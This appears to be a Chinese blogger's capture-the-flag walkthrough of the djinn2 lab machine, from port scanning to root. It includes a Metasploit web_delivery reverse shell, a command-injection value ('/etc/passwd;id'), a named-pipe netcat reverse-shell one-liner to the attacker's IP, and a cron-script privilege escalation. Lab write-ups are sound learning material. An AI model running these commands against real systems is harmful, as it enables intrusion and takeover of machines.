这次的靶机感觉挺难的,过程中看了大佬的博客,跟着做了很多次,才完成了提权到root。
靶机扫描
这次的djinn2和djinn1是一样的,打开就可以看到IP地址,我的靶机地址为10.0.2.44,攻击机10.0.2.4.
端口扫描
跟djinn1一样用匿名的方式登录ftp
把三个文件下载下来查看
有用的信息也就第一个,另外的文件没什么可用的信息。
从上面的端口扫描结果发现,开放了ssh,尝试用第一个文件登录发现不可行。
进入 1337端口,结果同djinn1一样,不能用浏览器打开,只能用curl访问
又是熟悉的游戏,这里没啥思路,直接进入5000端口,发现方法不被允许
进入7331端口,发现和djinn1的页面一样
源代码查看也没什么信息,gobuster扫描
进入source,发现下载了一个文件,查看这个文件
结合上面5000的get方法不被允许,考虑使用post方法,这里可以直接用hackbar构造post请求,然后到burp截包,修改
根据大佬的博客,发现username可以rce(远程代码执行)
这里获得shell的方法也是根据大佬的操作学的,使用msf反弹
第一个,利用这个漏洞,exploit/multi/script/web_delivery ,payload使用set payload linux/x64/meterpreter/reverse_tcp,设置好固定的参数,这里要注意的是target参数是linux,msf的版本不同,target的参数id也是不同的.设置好之后run
把下面生成的wget一行复制到上面截包的地方,注意要把空格替换成+,存放位置再/tmp下面
为了防止两个+出现什么麻烦,可以把+x换成777,然后路径修改下
执行
然后msf就可以得到shell
搜集信息,发现有个 kdbx文件,学习之后发现是个keepass2的文件,keepass是个密码管理工具,下载这个工具,查看密码,这里密码就是creds.txt里面的7846A$56
直接ssh连接这个用户 ,搜集信息,这里学习到了一个没学过的命令netstat -ano,查看本地进程
发现2843的端口
本地nc连接
这里挨个测试功能,发现到第六个功能时,会cat一下名字
这里新建一个留言,名字设置为/etc/passwd;id,查看一下
然后这里利用逆向连接脚本,rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.2.4 6666 >/tmp/f,然后本地监听即可得到shell,然后就是搜集信息
邮件的大致意思就是有个名为clean.sh的文件会定时执行,然后我们进入这个ugtan的家目录,发现没有这个文件,那就新建一个,写入bash的shell内容
开启后台监听,然后等几分钟,就可以得到root的shell,然后直接访问sh文件